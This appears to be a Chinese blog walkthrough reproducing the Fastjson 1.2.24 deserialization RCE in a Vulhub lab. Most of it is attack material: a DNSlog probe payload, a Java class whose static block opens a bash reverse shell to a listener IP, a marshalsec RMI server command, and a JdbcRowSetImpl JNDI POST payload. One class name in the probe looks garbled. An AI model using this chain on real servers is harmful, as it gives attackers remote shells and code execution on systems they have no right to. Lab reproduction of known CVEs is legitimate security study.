当前位置: 首页 > news >正文

【Vulhub】Fastjson 1.2.24_rce复现

文章目录

  • 一,Fastjson是什么?
  • 二,fastjson漏洞原理
  • 三,判断是否有fastjson反序列化
  • 四,复现Fastjson 1.2.24_rce(vulhub)
    • `环境配置`
    • 1.判断是否存在Fastjson反序列化
    • 2.反弹shell
    • 3.启动RMI服务器
    • 4.构造恶意POST请求

一,Fastjson是什么?

Fastjson 是阿里巴巴开发的一款将 json 字符串和 java 对象进行序列化和反序列化的开源 json 解析库。

二,fastjson漏洞原理

fastjson 提供了 autotype 功能,在请求过程中,我们可以在请求包中通过修改@type 的值,来反序列化为指定的类型,而 fastjson 在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题

三,判断是否有fastjson反序列化

正常请求是 get 请求并且没有请求体,可以通过构造错误的 POST 请求,即可查看在返回包中是否有 fastjson 这个字符串来判断

四,复现Fastjson 1.2.24_rce(vulhub)

环境配置

fastjson环境配置详细

这里我使用vulhub中的fastjson靶机做复现

在这里插入图片描述

1.判断是否存在Fastjson反序列化

抓包,构造恶意POST请求,先弄一个dnslog,看是否可以接收到请求
在这里插入图片描述

payload:{"lzh":{"@type":"javera.net.Inet4Address","val":"dnslog"}}

发送POST请求包
在这里插入图片描述
看到可以请求成功,说明存在fastjson漏洞
在这里插入图片描述

2.反弹shell

写一个反弹shell的java文件

package java_exp;import java.lang.Runtime;
import java.lang.Process;
public class Touchfile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/监听IP地址/8989 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e){}}
}

编译Java文件

javac Touchfile.java

在这里插入图片描述
将编译好的class文件,通过xftp移动到vps服务器中,并在当前目录开一个python服务,开启8080端口
在这里插入图片描述

3.启动RMI服务器

RMI(远程方法调用)使用 RMI 技术可以使一个 JVM 中的对象,调用另一个 JVM 中的对象方法并获取调用结果。这里的另一个 JVM 可以在同一台计算机也可以是远程计算机。因此,RMI 意味着需要一个 Server 端和一个 Client 端

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP:8989/#TouchFile" 6666

ip地址就是你攻击机的IP地址,8989端口是接收Touchfile.class文件,而6666端口是调用RMI服务器的接口

开启监听端口:就是在java文件中写的端口8989端口是监听端口
在这里插入图片描述

4.构造恶意POST请求

POST请求{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://IP地址:6666/Touchfile","autoCommit":true}
}

发送数据包,没有回显说明反弹成功
在这里插入图片描述
在这里插入图片描述

http://www.lryc.cn/news/360172.html

相关文章:

  • 【iconv】UTF-8字符串转换为UTF-16字符串
  • AI技术的未来展望:重塑人类社会的智能革命
  • 掘金AI 商战宝典-系统班:2024掘金AIGC课程(30节视频课)
  • C# WinForm —— 26 ImageList 介绍
  • Vue:现代前端开发的首选框架-【声明周期钩子详解】
  • 【因果推断python】8_线性回归模型2
  • MySQL目录和文件
  • 0基础学习Elasticsearch-Quick start
  • Centos给普通用户添加sudo命令权限
  • 编写备份MySQL 脚本
  • C语言中的数据类型转换:隐式类型转换与显示类型转换
  • Android 安卓通过bindService ServiceConnection 没有响应的问题
  • python切片(彻底解除对切片的曲解)
  • Java—— StringBuilder 和 StringBuffer
  • vs2019 c++20 规范 STL库中关于时间的模板
  • 激光焊接机作为一种高效、精密的焊接设备
  • vite为什么速度快
  • Java网络编程(下)
  • APISIX的安装与测试(springboot服务测试)
  • AI技术:探索未来智能的无限可能
  • npm install 出错,按照版本不匹配解决
  • 【第1章】SpringBoot实战篇之注册接口
  • 代码随想录-Day25
  • JavaWeb_SpringBootWeb基础
  • Stable Diffusion生成图片的参数查看与抹除方法
  • Linux下多线程的相关概念
  • 在java java.util.Date 已知逝去时间怎么求年月日
  • LeetCode 2928.给小朋友们分糖果 I:Java提交的运行时间超过了61%的用户
  • 【typescript/flatbuffer】在websocket中使用flatbuffer
  • 构建一个文字冒险游戏:Python 编程实战